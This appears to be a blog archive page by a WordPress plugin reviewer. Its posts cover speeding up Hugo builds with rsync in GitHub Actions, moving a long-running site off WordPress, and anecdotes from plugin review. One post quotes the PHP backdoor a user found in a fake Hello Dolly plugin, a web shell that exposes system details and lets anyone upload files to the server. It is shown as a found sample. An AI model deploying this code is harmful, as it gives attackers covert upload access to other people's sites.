Half-Elf on Tech

Thoughts From a Professional Lesbian

Author: Ipstenu (Mika Epstein)

  • Hugo and a Lot of Images

    Hugo and a Lot of Images

    One issue with Hugo is that the way I’m deploying it is via Github actions, which means every time I want to update, the site has to be totally rebuilt. Now the primary flaw with that process is that when Hugo builds a lot of images, it takes a lot of time. About 8 minutes.

    The reason Hugo takes this long is that every time it runs its builds, it regenerates all the images and resizes them. This is not a bad thing, since Hugo smartly caches everything in the /resources/_gen/ folder, which is not sync’d to Github, and when you run builds locally it doesn’t take half as long.

    Now, this speed is about the same whether the images are locally (as in, stored in the repository) or remote (which is where mine are located – assets.example.com), because regardless it has to build the resized images. This only runs on a build, since it’s only needed for a build. Once the content is on the server, it’s unnecessary.

    The obvious solution to solve my speed issues would be to include the folder in Github, only I don’t want to store any images on Github if I can help it (legal reasons, if there’s a DMCA its easier to nuke them from my own storage). The less obvious solution is how we got here.

    The Basic Solution

    Here’s your overview:

    1. Checkout the repo
    2. Install Hugo
    3. Run the repo installer (all the dependancies etc)
    4. Copy the files from ‘wherever’ to the Git resource
    5. Run the build (which will use what’s in the resource folder to speed it up)
    6. Copy the resources folder content back down to the server

    This would allow me to have a ‘source of truth’ and update it as I push code.

    The Setup

    To start with, I had to decide where to upload the content. The folder is (right now) about 500 megs, and that’s only going to get bigger. Thankfully I have a big VPS and I was previous hosting around 30 gigs there, so I’m pretty sure this will be okay.

    But the ‘where’ specifics needed a little more than that. I went with a subdomain like secretplace.example.com and in there is a folder called /resources/_gen/

    Next, how do I want to upload to for starters? I went with only uploading the static CSS files because my plan involves pushing things back down after I re-run the build.

    Then comes the downloading. Did you know that there’s nearly no documentation about how to rsync from a remote source to your Github Action instance? It doesn’t help that the words are all pretty generic, and search engines think “Oh you want to know about rsync and a Github Action? You must want to sync from your action to your server!” No, thank you, I wanted the opposite.

    While there’s a nifty wrapper for syncing over SSH for Github, it only works one way. In order to do it the other way, you have to understand the actual issue that action is solving. The SSH-sync isn’t solving rsync at all, that’s baked in to the action image (assuming you’re using ubuntu…). No, what the action solves is the mishegas of adding in your SSH details (the key, the known hosts, etc).

    I could use that action to copy back down to the server, but if you’re going to have to solve the issue once, you may as well use it all the time. Once that’s solved, the easy part begins.

    Your Actions

    Once we’ve understood where we’re going, we can start to get there.

    I’ve set this up in my ci.yml, which runs on everything except production, and it’s a requirement for a PR to pass it before it can be merged into production. I could skip it (as admin) but I try very hard not to, so I can always confirm my code will actually push and not error when I run it.

    name: 'Preflight Checks'
    
    on:
      push:
        branches:
          - '!production'   # excludes production.
    
    concurrency:
         group: ${{ github.ref }}-ci
         cancel-in-progress: true
    
    jobs:
      preflight-checks:
        runs-on: ubuntu-latest
    
        steps:
          - name: Do a git checkout including submodules
            uses: actions/checkout@v4
            with:
              submodules: true
    
          - name: Install SSH Key
            uses: shimataro/ssh-key-action@v2
            with:
              key: ${{ secrets.SERVER_SSH_KEY }}
              known_hosts: unnecessary
    
          - name: Adding Known Hosts
            run: ssh-keyscan -H ${{ secrets.REMOTE_HOST }} >> ~/.ssh/known_hosts
    
          - name: Setup Hugo
            uses: peaceiris/actions-hugo@v3
            with:
              hugo-version: 'latest'
              extended: true
    
          - name: Setup Node and Install
            uses: actions/setup-node@v4
            with:
              node-version-file: '.nvmrc'
              cache: 'npm'
    
          - name: Install Dependencies
            run: npm install && npm run mod:update
    
          - name: Lint
            run: npm run lint
    
          - name: Make Resources Folder locally
            run: mkdir resources
    
          - name: Download resources from server
            run: rsync -rlgoDzvc -i ${{ secrets.REMOTE_USER }}@${{ secrets.REMOTE_HOST }}:/home/${{ secrets.REMOTE_USER }}/${{ secrets.HUGO_RESOURCES_URL }}/ resources/
    
          - name: Test site
            run: npm run tests
    
          - name: Copy back down all the regenerated resources
            run: rsync -rlgoDzvc -i --delete resources/ ${{ secrets.REMOTE_USER }}@${{ secrets.REMOTE_HOST }}:/home/${{ secrets.REMOTE_USER }}/${{ secrets.HUGO_RESOURCES_URL }}/
    

    Obviously this is geared towards Hugo. My command npm run tests is a home-grown command that runs a build and then some tests on said build. It’s separate from the linting, which comes with my theme. Because it’s running a build, this is where I can make use of my pre-built resources.

    You may notice I set known_hosts to ‘unnecessary’ — this is a lie. They’re totally needed but I had a devil of a time making it work at all, so I followed the advice from Zell, who had a similar headache, and put in the ssh-keyscan command.

    When I run my deploy action, it only runs the build (no tests), but it also copies down the resources folder to speed it up. I only copy it back up on testing for the teeny speed boost.

    Results

    Before all this, my builds took 8 to 9 minutes.

    After they took 1 to 2, which is way better. Originally I only had it down to 4 minutes, but I was using wget to test things (and that’s generally not a great idea — it’s slow). Once I switched to rsync, it’s incredibly fast. The build of Hugo is still the slowest part, but it’s around 90 seconds.

  • Why NOT WordPress?

    Why NOT WordPress?

    There’s a website I’ve been running since 1996.

    Yes, I know, I’m an Internet Old.

    1996. That’s 7 years before WordPress was a thing. So it’s not surprising this site was (at one point) moved from ‘something else’ to WordPress. Actually a lot of something-elses over the nearly 30 years of its existence. I moved it over to WP around 2005 (WordPress 1.5) and pretty much left it there for years.

    Now it’s different. Now the site is 100% powered by Hugo.

    Why Did I Stop Using WordPress?

    To understand this decision, you have to keep in mind that the site had been three parts for about 20 years.

    1. The Blog, where announcements were made, etc, powered by WordPress
    2. The Image Gallery, which had … images (about 20 Gigs), powered by netPhotoGraphics
    3. The Wiki/Library, which is the documentation, powered by Hugo

    Well, this year I got a nasty-gram and was forced to shut down the gallery. The simple truth was yes, the gallery included images that legally I didn’t have the right to use. No excuses. But the company involved was kind enough to work out a partial situation. I’m still in the middle of moving what images I can keep into a new home, but while that’s going on, I had a chance to sit down and face reality.

    The gallery, you see, was the biggest feature of the site. Next was the Wiki/Library, and the blog was pretty much just announcements. There was a forum, it was removed ages ago. There was BuddyPress, ditto. People management just isn’t fun.

    There was also the matter of cross linked data. Oh my, did a lot of images appear on the blog and the gallery. I was going to have to purge the old blog posts en masse anyway, so at that point, I asked myself that big question.

    Do I want to move the library to WP, or the blog to Hugo?

    Consider the following:

    1. I was going to have to manually curate nearly 30 years of blog posts (took a few thousand down to about 50)
    2. I already had a running Hugo site and was familiar with it (it has over 1600 files)
    3. If I ported to WP, I would have to rebuild my data setup for how the data is output
    4. Importing blog posts as text only is incredibly easy

    With that in mind, it seemed obvious. Hugo.

    What’s Different with Hugo?

    Obviously I lose the ability to write a blog post and press publish. I have to add a new file, manually link it to my new image, and push to GitHub, where it’s auto-deployed to the site in question. The process for any data is basically this:

    1. Create a branch on my GitHub Repo
    2. Add the new content
    3. Merge the branch into Production

    At that point a GitHub action takes over.

    Beyond that, however, there are some things you take for granted with WP. Like the ease of a mailing list with Jetpack. Now, I did export my Jetpack subscribers and I’m working on a solution there, but yeah, that was a big hit. There’s also the matter of auto-deploying content to socials. But… honestly that’s been pretty much shit-and-miss lately, what with Facebook and Twitter being what they are.

    But all the ‘easy’ stuff? Well Hugo has RSS Feeds, it can process images as it builds (though that will cause your deployments to take longer), it’s open source, and best of all? The output is static HTML.

    Go ahead, try and hack that.

    How Hard Was It?

    Honestly, it took me about 3 days to pick a new theme, apply it, move my basic content over, and start rebuilding the blog. Migrating blog posts took me about 3 weeks. The hardest part was realizing I was going to have to write some complex Hugo Mod code to include my gallery with lightbox code, but I banged that out in an evening.

    There were frustrating moments. The Hugo community is significantly smaller than WordPress (I mean, whose isn’t?) and some of the code is a little on the ‘understood’ level (by which I mean things aren’t always spelled out, they assume you know what they’re talking about). In a way, it’s like using WordPress back in 2006 all over again, and look at where that’s taken me!

    I’m very happy with the result. I picked a ‘fancy’ theme, called Hinode, and it came with Dark Mode built in. I ported over my custom code for recaps (I have a whole star rating system) and started building out topical small galleries where I could.

    If I was a newbie to the web world? This would have been impossible. Then again, a lot of the work I’m doing in WP would be impossible for a newbie. About the only tool I’ve used where I think it’d be easier would be … Maybe MediaWiki? But only because you can build templates from the editor backend.

    Even with Full Site Editing, WordPress would have been a bear and a half.

    Historical Notes

    The ‘Library’ was once on MediaWiki because I had this idea to be a public repository anyone could edit. Only I kept getting attacked by spammers, so I turned off registration. Then I had to apply all sorts of plugins, only MediaWiki didn’t allow you to self-update like WordPress, and I had to write scripts and it was just a pain.

    I rebuilt it all as Hugo about 6 years ago, and I really enjoyed it. GoLang is not something I’m familiar with, and sometimes the language drives me to drink, but so does PHP.

    The Gallery used to be a home-grown SHTML setup, which then moved to a now defunct project, Gallery, and then to ZenPhoto, and finally to NetPhotoGraphics after ZenPhoto decided to be more than just a photo library. NetPhotoGraphics is hella fun to use, and I even built an embed tool for it, so you could paste a link into WP.

    I did that with Hugo as well, and I’ll probably port that back to the new site sooner or later.

    It Is Sad Though

    Basically this site has been a part of my dev growth from day one. I wouldn’t be working in WordPress were it not for this site, and I owe it a lot. Moving to Hugo is the end of an era, and it is a bit sad. But at the same time, I feel like I’m now in even more control over everything, and I’m making a leaner, faster, website every day.

    I have no regrets for the steps I’ve taken on the way, and none about this move. It’s nice to not have to worry about updates all the time. After all, what’s on the site is just HTML.

    I do miss being able to schedule posts though…

  • Plugins: If I Did It…

    Plugins: If I Did It…

    Joe Co. (not their real name) had a bad day. It started when we emailed them this:

    Your plugins have been closed and your account on WordPress.org is suspended indefinitely for egregious guideline violations.

    Normally we send out warning notices to encourage developers to correct behaviour, however in certain cases there are events that cause us to have to take extreme action.

    We received a notice that you had been demanding users edit their reviews and comments in order to receive a refund from your product.

    Your employee fake@example.com said this:

    > Please kindly delete all the comment on Wordpress.org,
    >
    > After that, we will accept your refund request via PayPal

    And then they would provide links to screenshots of what to remove.

    There’s an ugly word for asking people to modify reviews for a reward: bribery.

    However asking users to modify a review and delete comments to get a refund is called EXTORTION […]

    If you’ve been reading for a while, you know how much I hate bribery and extortion.

    Time for Proof

    Joe Co. emailed back

    It’s not a nice day today for our company to receive your email on our
    account suspension, but we understand your concern to protect Org’s plugins
    directory. We respect that!

    However, in case like this, you did receive the feedback from one side and
    I believe that you should take times to reviceved the feedback from our
    company also. And we want you to know that maybe you should protect us and
    our company from UNFAIR COMPETIOR.

    Yes we internally thinks that this is among our Competitor doing
    something to get our Copies of Products and Try to Down us from the
    Directory, here is the reason and proof:

    Now, I can’t list the rest of that for reasons regarding anonymity, but I can summarize the proof:

    1. A PDF of their internal chat client with the person who they felt probably complained (it wasn’t that person)
    2. A PDF where the same person refused to let Joe Co. log into their site (reasonable!)
    3. An admission they handled it badly

    When I opened the first PDF I started laughing.

    Wanna know what it says?

    Important part: But you sent too much spam on our ticket support, our forum and Wordpress.org so we decided to give you a refund under the condition that you delete all your bad comments to avoid your spam review affect to our company's reputation. If you cannot delete all then it's meaningless.

    The kicker? That arrow and red box is from the PDF Joe Co. sent.

    Right there, they are agreeing they told the user that they would only give him a refund if he deleted the reviews. They were not spam, either, the person left one, single, solitary review.

    Who was wrong?

    Both Joe Co. and their user were in the wrong here.

    The user knew damn well they weren’t getting a refund, and in fact I told him he was being silly for complaining that there was no refund when the terms he agreed to say no refunds.

    Joe Co. should have stuck by their guns and not suggested that would give a refund at all.

    Of course, what Joe Co. did after that made it so much worse… Sockpuppets. Sockpuppets everywhere. 100% of their reviews on one plugin were faked. My buddy who cleans that up sobbed into his coffee and I think that was when he wrote a ‘close all’ script.

    Then they made two more accounts and resubmitted plugins and did it all again.

    So while I will grant you that the user was an idiot, Joe Co. was worse.

    Do You Refund?

    Regardless of if you provide refunds or not, the lesson here is “stick to your guns” folks. If the policy is “No Refunds” then suck it up, buttercup. If the policy is to provide a refund within X days, then you do that. If the company has no refund policy, then don’t buy from them, because you will get jerked around.

  • Plugins: It’s the Wild Wild West

    Plugins: It’s the Wild Wild West

    The email subject was really funny to me.

    PLEASE, save from the lawlessness!!!

    They’re guidelines but sure. Yogi Bear here (whose real username implied he was smarter than everyone) went on to complain that developers ignore him and forum mods removed his posts complaining about said developers.

    At WordPress.Org forums there is chaos and lawlessness from some moderators and deception from developers!!!

    I work about month on improving and problem resolving and translation of huge plugin [redacted] but after I send my work to developer – they just start to ignore me and did not fulfill their promises! 

    I create thread at forum about it, but some idiot arbitrariness moderator [redacted] just delete my thread with my asking for a help! 

    It’s like if police will just kill people that turned to them for help!!! It’s a total absurd!!!

    A little hyperbolic, but sure, I get the annoyance.

    All Mods are Bad Mods

    Taking a look, it was clear what happened. Yogi Bear here had made a forum post about “WARNING! Deception from developers!”

    The plugin in question offered free premium versions of their plugin in return for help making translations. In so far as bribery goes, I considered this to be a decent trade. The offer only existed on their website, you had to go find it, and it was a very clear “Work for us and be rewarded.” It didn’t, at the time, violate any guidelines.

    Yogi Bear made a translation and sent it in. Then he spent weeks finding every security bug he could on the plugin and sent that in.

    But after I sent it – developers just stop answer to my letters (already about month) without any explanations and apology.

    […]

    Therefore I WARNING all who want to translate [redacted] or negotiate with developers of [redacted] also known as [redacted] – all your work can be just taken without any promised gratitude!!! Dont work with [redacted] and [redacted] developers – they are deceivers!!!

    Ugh.

    While I will concede that ghosting someone with good intentions is a dick move, there was no contract between Yogi Bear and them, so while they should publicly credit him, they don’t have to. Also they didn’t use most of his fixes (I learned that much later).

    One of the forum Mods replied that you don’t have to submit a translation to them directly (which is true). What that Mod didn’t know was that Yogi Bear was looking for the compensation that comes when your translation via WP.org is accepted.

    Thing is … Yogi Bear’s translation was accepted (and he was rewarded). But still he saw three major issues:

    1. The translated country list, on the English page, was in … English
    2. The plugin used too many similar phrases (“Please confirm” vs “Are you sure?”)
    3. Due to 2, there’s too much reworking to do here

    Issue one was just someone not understanding what he was looking at. The second I agree is annoying, but honesty if that creates number three, then … don’t volunteer.

    The plugin dev replied that they 100% had sent him the reward, but did not agree to his ‘extra’ conditions. This devolved into a “Yes I did!” “No you did not!” shouting match. Yogi Bear had screenshots saying he didn’t get anything (no attachments), Plugin had screenshots with links to where he could download (and his replies).

    After a back and forth, the Mods sighed and closed the thread. Shortly thereafter, Yogi Bear complained to Plugin Review.

    As Expected, It Escalated

    Well.

    Looking into it, it was obvious Yogi Bear had been asked to stop calling people names (everyone was a liar or a cheat). The Mods had warned him, twice, so Plugins pointed out he was the one breaking rules at that point. However! Plugins was happy to listen to this complaint if he had actual evidence of a violation to the forum or plugin guidelines.

    so fucking tide of all of you – idiots, irresponsible scums, liars, lazybones, etc…

    Are you an idiot?

    I repeat – ARE YOU AN IDIOT?

    Because obvious answer is – yes, you are an idiot for sure, I have to explain to you what you can’t understand with your stupid mind…

    1) Where you find that I ignored any requests form moderators?! It’s a total LIE! I don’t receive any requests, just my threads was deleted now by idiot [Mod 1] and previously by the same kind of arrogant idiot [Mod 2]. You cannot blame me that I ignore something because I don’t get any request at all!!!

    2) What do you think – for what purpose WORDPRESS PLUGINS SUPPORT FORUM are exist?! I don’t even talk about super low level of help at those forums by your team and mass closing not resolved questions… but particularly at this situation – It’s most obvious function of especially your forum is to WARN OTHERS about some developer dishonest and deception behavior at their forum part! It’s most obvious action to ask WP.org community to help! It’s most obvious action to ask moderator FOR HELP!

    3) Publishing all this at my personal blog will not give any results. You must smarten up and grow up and take responsibility of such conflicts resolving, of WP users protection, etc – BUT NOT TO brainless delete their asking of help for sure!!!

    4) Just read deleted thread – there are full of EVIDENCE – I help to [plugin] with more than 100!! Bug resolving, some fundamental problems resolving, many suggestions of improvements, etc – it’s a HUGE and respectable work that just was taken by dishonest developers! If it’s a normally for you, if you don’t feel that WP.org PLUGINS SUPPORT FORUM M_U_S_T protect users from dishonest developers and lawlessness moderator – you better just go and kill yourself.

    So to be clear here, none of his complaints were about the plugin (I was kind of hoping he’d share the security issues since I didn’t see anything serious), and all were that the Mods told him to stop being a dick, and he said no. Per usual, this was replied with a reminder that Yogi Bear was emailing the plugin review team and we did not overrule forum moderators unless it was a valid issue with the plugin.

    The issue was Yogi Bear hating the plugin developers.

    Not our circus, not our monkeys (unless the plugin devs retaliated, which they did not — though we did caution them about sharing screenshots of emails in public).

    Yogi Bear shouted that we were idiots, again, and:

    If you are only “plugin bugs fixing team” – you must NOT judge me and my threads at forum.

    1. Plugin REVIEW team, for fuck’s sake!
    2. We weren’t judging, we were saying the Mods did their job and we didn’t override them

    Okay, I was absolutely judging him. And I agreed with the Mods here.

    Yogi Bear was directed to Slack.

    He never went.

    What Happens if The Dev is a Dick?

    That’s a valid question! The answer sucks.

    Let’s say Yogi Bear was right and his translation was accepted (easily verifiable) but he did not get any reward as promised (harder to verify, but assume we could), then … WordPress.org is not the place to rant.

    See, that’s an agreement between Yogi Bear and the plugin developers. It’s a causal, kinda verbal, agreement, and if they don’t meet their end … Er … Well. Sucks? Go to social media?

    Now, if you look back you can see Yogi Bear kind of understood that WP.org wasn’t the place, but he wouldn’t get traction anywhere else. And I really do feel for him there. But if you go to a place, rant, and are told “Hey man, this is not the place where you can just rant about these casual deals gone wrong” and you decide to do it anyway?

    Right.

    If a dev is a dick but didn’t violate guidelines, post about it on your blog, stop using their plugins, and let ’em rot. But that’s really all you can do. A lot of assholes make great plugins, and a lot of them are really not pleasant to work with. Unless they’re breaking the rules of the sites they’re on, you vote with your dollar and nothing more.

    For Yogi Bear here, he did all this to himself.

    1. He 100% got the code he was ‘owed’
    2. The plugin dev had no obligation to work with Yogi Bear on the security issues
    3. He never reported the security issues to WP.Org
    4. He intentionally, purposefully, and willfully ignored the reasonable ask of the Forum Mods to stop being a dick

    In the words of Jeff Probst, I got nothing for you.

  • Plugins: Fake Plugins Are Your Fault

    Plugins: Fake Plugins Are Your Fault

    Han (not his real name) emailed the plugin team to complain he was suspended by the forums team.

    […]

    But sometime in the last 12 months I had several sites attacked in which a Fake version of the Hello Dolly plugin was installed maliciously.

    Sadly as my post was deleted without warning or explanation any further details I could have given on the subject where lost along with the post.

    Now. Someone did reply to Han and told him that the fake plugin meant he had a vulnerability on his site, and here’s how you can look into that. Since his forum post included a code snippet, yes, it was removed after he was emailed about it.

    If it’s not hosted here, we don’t care

    That was, more or less, my mantra. It’s wrong, I very much do care, but I cannot do a blessed thing about other people’s sites.

    Still, we looked at the thread, and I was amused by the code:

    if(isset($_REQUEST['act'])){
        echo '<b>'.php_uname().'</b><br>';
        echo @file_get_contents('/location/server/version').'<br />';
        echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
        echo '<input name="uploadto" type="text" size="80" value="'.getcwd().'"><br />';
        echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
        if( $_POST['_upl'] == "Upload" ) {
    	    if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) {
    		    echo '<b>Upload success!</b><br>'.$_POST['uploadto']."/".$_FILES['file']['name']; 
    	    } else { 
    		    echo '<b>Upload failed!</b>'; 
    	    }
        }
        exit;
    }
    

    We replied that the code Han found on his server was not hosted on WordPress.org and, therefore, we could do nothing about it, here’s how you clean up your hacked site.

    You’re reporting that your sites have a vulnerability and someone is exploiting them. That they happen to use Hello Dolly to hide their malicious code is not something we could prevent. All we can tell you is that something on your sites is insecure and being used as a back door.

    Han disagreed:

    No the plugin was faking being hello dolly i don’t use it that’s how it was discovered. It installed itself and pretended to be hello dolly so yeah your problem coz it’s pretending to be one of your plugins

    That’s not how it works. I get why Han thought that, and in a way, it is a problem but … what can we do about it?

    1. We don’t know where the hack is from
    2. The hacker could have faked any plugin
    3. Of fucking course they’d fake a well known one people might ignore

    I’d love to be able to stop people from faking plugins, but there’s no way to even try.

    Fix Your Site

    We tried again:

    I’m sorry but you are incorrect in your understanding.

    The problem is not the Fake Hello Dolly, the problem is SOMETHING ELSE on your sites is vulnerable and that is being used by evil people to install the fake plugin.

    They could have named the fake plugin anything. They picked Hello Dolly because it’s common, but there’s nothing anyone can do to make them pick another name.

    There’s nothing we can do to help you here.

    Stop looking at the fake plugin as the source of your trouble and figure out what OTHER plugin or theme LET IT get installed.

    Or hire a security company to help you.

    Because you see the real issue is his sites keep getting hacked. So y’know, fix yourself.

    Or don’t you think it worth warning users to be aware of a threat that is branding itself as a WordPress product?

    I’m not asking you to fix anything. Im talking about something I found while patching security on someone else’s site sure they could have named it anything. But the code and everything about it was disguised to look a lot like Hello Dolly. All i wanted was to make someone aware but fine. Thanks I’ll know not to bother trying to help the community next time

    I see we’ve jumped over to ‘you won’t do what I want so I won’t ever help again’ — a common refrain.

    WordPress.org cannot stop people from being assholes

    So we tried again

    We understand what you’re trying to do. The reality is that there’s nothing we can do about this.

    It’s like people selling a fake Rolex watch. If we knew who it was, we could attempt to stop them. But knowing that it happens ‘somewhere’ out there and that someone fell for it? Well… we’re sorry and it sucks, but there’s nothing we can do about it.

    Someone made a fake Hello Dolly and hid bad code in it. They could have picked any plugin, even Yoast SEO, but even then Yoast would tell you there’s nothing they can do either.

    Of course Dolly was targeted. It’s on every single install. It’s like targeting Safari on a Mac. Ever Mac has it. It’s there. It’s used. Target it.

    All you’ve done here is tell us “Hey someone made a fake plugin and hid stuff in it.”

    Thank you, but there’s nothing we can do to stop it, and there’s nothing we can do to help people because the real issue isn’t whose plugin was faked, but how did that get installed in the first place. And that’s the job of a site security team.

    Unless the fake plugin is being distributed by WordPress.org, or the vulnerability that allowed it to be installed is in a plugin hosted on WordPress.org, this is outside our purview and we cannot assist you.

    At that point, Han accepted the point, but bitched we weren’t super kind at the start.

    Now here’s where it gets funny.

    Han claimed he never got the emails from the forums team, except he did. We know he did because he quoted one in his first email! So, since we knew he’d already been told things (like the plugin team cannot help you on code hosted outside of WordPress.org), we’d skipped that at the start of his email and that pissed him off.

    When this was pointed out, he claimed (again) to have not gotten the emails and didn’t know what to do. So we directed him to Slack and he opted to … not.

    Points to Remember?

    If a plugin is ‘hacked’ it’s likely a different plugin causing it and you can check because all the code on WordPress.org is open source and free to view. You can go look and say “Hmm. my copy of Hello Dolly doesn’t match!” That means the issue is not with the code hosted on WordPress.org, it’s something else!

    If it’s code you bought elsewhere, again, don’t complain to the Plugin Review Team, they can’t do jack.

    If it’s code you got from a nulled site, well you’re an idiot and don’t do that again.

  • Plugins: Do Better

    Plugins: Do Better

    Gazzer (not his real name) had a somewhat decent point to make. He emailed plugins to complain about security:

    You guys (WP) should do a better job of screening and/or even certifying the plugins that are listed in your directory. 

    I’m constantly receiving emails warning of security vulnerabilities associated with plugins. 

    Also, I’m spending way too much time dealing with plugins that wreak havoc with my site (using up server resources, and carrying viruses). 

    Maybe, you can experiment with a premium or “paid” plugin model.

    If Apple can do it with apps. then you guys can do it with plugins.

    Gazzer’s email

    This is a pretty common complaint. And it comes from a misconception I fully understand.

    We Don’t Do That

    The Plugin Review Team does not review every single release of every plugin. Considering the magnitude of the backlog today (over 400 and climbing) I think you all can see why.

    Reviewing a plugin takes time and it takes work and, if you’ve been reading this blog for a while, it takes mental fortitude not to scream “Just fucking enqueue your goddamn javascript you moron!” all the time.

    Ahem.

    I know that (at least at one point in time) the Theme Review Team did in fact review every release of every theme. I have often said that can work with themes because at their heart, they’re easier. Themes are themes. They ‘do’ the same thing in different ways.

    Plugins can be anything, do anything, and do it in any way possible. That divide id bigger than the Grand Canyon.

    We don’t screen or certify the plugins at all. 

    We review new plugins when they are created, and advise authors about problems before hand. However, there are 1000+ updates to plugins every single day. We do not have anywhere near the manpower to review every single change.

    We are a hosting service. We host the plugins for authors. We do not verify them, we do not create them, and we do not own them. Each plugin is owned by its authors, and they are responsible for it.

    Plugin Team reply

    Gazzer didn’t like that.

    Try a Plugin Store!

    Gazzer felt we should address his suggestion and try a store.

    Obviously, it easier to point out what you DON’T do as compared to looking at my suggestion and addressing it.

    I mentioned, “Maybe, you can experiment with a premium or “paid” plugin model.”

    Security vulnerabilities and poorly designed plugins are a major problem for some of us. Besides, if you create revenue from charging developers for plugins that some of us would be willing to pay for (especially certified for security and reliability) then it’s a win, win. However, if it’s easier to talk about what you can’t do or won’t do then nevermind. 

    I’ll continue to look elsewhere.

    So we pointed out:

    1. Plugin Review is a 100% volunteer org, no one gets paid
    2. Even CodeCanyon, who does have a paid/premium library doesn’t check every release
    3. No plans to do premium at this time (circa pre-Covid)

    The plan hasn’t changed. If if does, I would agitate for backpay for a decade of service, though.

    And By The Way …

    Instead of complaining about that anymore, Gazzer went on to vent about (checks notes) updates!

    Speaking of plugin and WP issues.. (see the screenshot).

    Why should I have to deal with the unknown consequences of this crap! Below:

    Screenshot of an alert saying a new Woo version is coming out, and all his plugins didn't have tested-up-to values that matched
    WTF!

    What the fuck is your plugin add-ons aren’t tested up to the latest version of WooCommerce and might conflict, and Woo is kindly warning you.

    Since we couldn’t figure out what was bad about that, we shrugged and didn’t reply. Gazzer sent a second reply with the exact same email, and we filed it away as well.

    Gaz can probably be UN-banned

    Of note, I think we could (and likely should if it hasn’t already) remove Gazzer’s ban. He was banned for simply not accepting the reality of life. If all you’re going to do is tell someone they’re wrong, over and over, they will stop listening to you. But in retrospect that’s a bit harsh.

    At the same time, he doesn’t seem to care and has ‘moved on.’ In fact, he nuked his account and his Slack account.

    Now.

    Should WordPress.org have a paid/premium service? No. Absolutely not. That would ruin a lot of things, and reviews would become a play for money instead of fixing the internet.

    Should someone have a service where they review plugins and give security reviews? A few exist, but one is a total asshole, three were bought out by major players, one thinks FUD sells better than actual checks, and the last one is Patchstack whom I love.